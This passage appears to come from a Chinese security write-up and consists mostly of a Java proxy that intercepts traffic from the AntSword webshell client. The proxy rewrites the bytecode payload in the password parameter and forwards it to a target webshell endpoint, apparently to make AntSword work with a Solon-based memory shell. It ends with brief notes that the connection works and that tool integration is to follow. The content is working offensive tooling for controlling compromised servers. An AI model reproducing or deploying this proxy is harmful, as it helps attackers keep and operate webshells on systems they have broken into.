34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import tools.HttpTools;
import tools.ModifyBytecode;
import tools.Response;
import tools.Tools;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.InetSocketAddress;
import java.net.URI;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Main {
private static HttpServer server;

public static void main(String[] args) throws IOException {
System.out.println("[*] 开始使用端口号:38081");
start();
}

public static void start() throws IOException {

System.out.println("[*] 正在启动代理服务...");
server = HttpServer.create(new InetSocketAddress(38081), 0);
server.createContext("/shell", new MyHandler());
server.setExecutor(null);
server.start();
System.out.println("[+] 服务启动成功,请使用代理地址连接:http://127.0.0.1:38081/shell 密码:passwd");

}
static class MyHandler implements HttpHandler {

private static String firstStr = "";
private static String secondStr = "";

@Override
public void handle(HttpExchange exchange) throws IOException {
String url = "http://localhost:8081/test";
// URI requestURI = exchange.getRequestURI();
// String query = requestURI.getQuery();
// if(query!=null){
// url = "http://127.0.0.1:8787/Public/index1.php";
// }
String newRequestBody = getAntSwordSolonHex(exchange);
System.out.println("[*] newRequestBody:" + newRequestBody);
HashMap<String, String> headerMap = getRequestHeader(exchange);
Response response1 = getResult(url, newRequestBody, headerMap, "UTF-8");
String reponseBody = response1.getText();
System.out.println("[*] 正在对获取响应头...");
Map<String, List<String>> reponseHeader = response1.getHead();
System.out.println("[*] 正在遍历响应头并配置...");
for (Map.Entry<String, List<String>> entry : reponseHeader.entrySet()) {
String reskey = entry.getKey();
String resvalues = String.join("; ", entry.getValue());
if (reskey != null && !reskey.equals("Transfer-Encoding")) {
System.out.println("[*] 请求头:" + reskey.toString() + "\nvalue:"+ resvalues);
exchange.getResponseHeaders().set(reskey, resvalues);
}
}
System.out.println("[*] 正在设置响应头...");
exchange.sendResponseHeaders(200, reponseBody.getBytes().length);
OutputStream os = exchange.getResponseBody();
System.out.println(reponseBody);
os.write(reponseBody.getBytes());
os.close();
}

public static String setUTF8(String originalString){

Charset utf8Charset = StandardCharsets.UTF_8;

// 将字符串编码为 UTF-8 字节数组
byte[] utf8Bytes = originalString.getBytes(utf8Charset);

// 打印字节数组
System.out.println("UTF-8 Encoded Bytes:");
for (byte b : utf8Bytes) {
System.out.format("%02x ", b);
}
System.out.println();

// 还原字符串
return new String(utf8Bytes, utf8Charset);
}

//蚁剑
//普通hex编码
public static String getAntSwordSolonHex(HttpExchange exchange) throws UnsupportedEncodingException {
InputStream inputStream = exchange.getRequestBody();
String requestBody = Tools.inputStreamToString(inputStream);
System.out.println("[*] oldRequestBody:" + requestBody);
String[] pairs = requestBody.split("&");

StringBuilder result = new StringBuilder();

for (String pair : pairs) {
String[] keyValue = pair.split("=");

if (keyValue.length == 2) {
String key = keyValue[0];
String value = keyValue[1];

if (key.equals("passwd")) {
if (value.contains("%")) {
value = value.replace("+", "%2B");
value = URLDecoder.decode(value, "UTF-8");
try {
value = ModifyBytecode.handleClass(value);
value = URLEncoder.encode(value,"UTF-8");
} catch (Exception e) {}
}
}

if (result.length() > 0) {
result.append("&");
}
result.append(key).append("=").append(value);
}
}
return result.toString();

}

public static Response getResult(String url, String payload, HashMap<String, String> headers, String encode){
return HttpTools.post(url, payload, headers, encode);
}

public HashMap<String, String> getRequestHeader(HttpExchange exchange){
Map<String, List<String>> headers = exchange.getRequestHeaders();
HashMap<String, String> headerMap = new HashMap();
headers.forEach((key, values) -> headerMap.put(key, String.join("; ", values)));
return headerMap;
}
}
}

可成功链接剩余部分编码问题,暂不处理了

1726195321698

0x03 end

工具集成后面写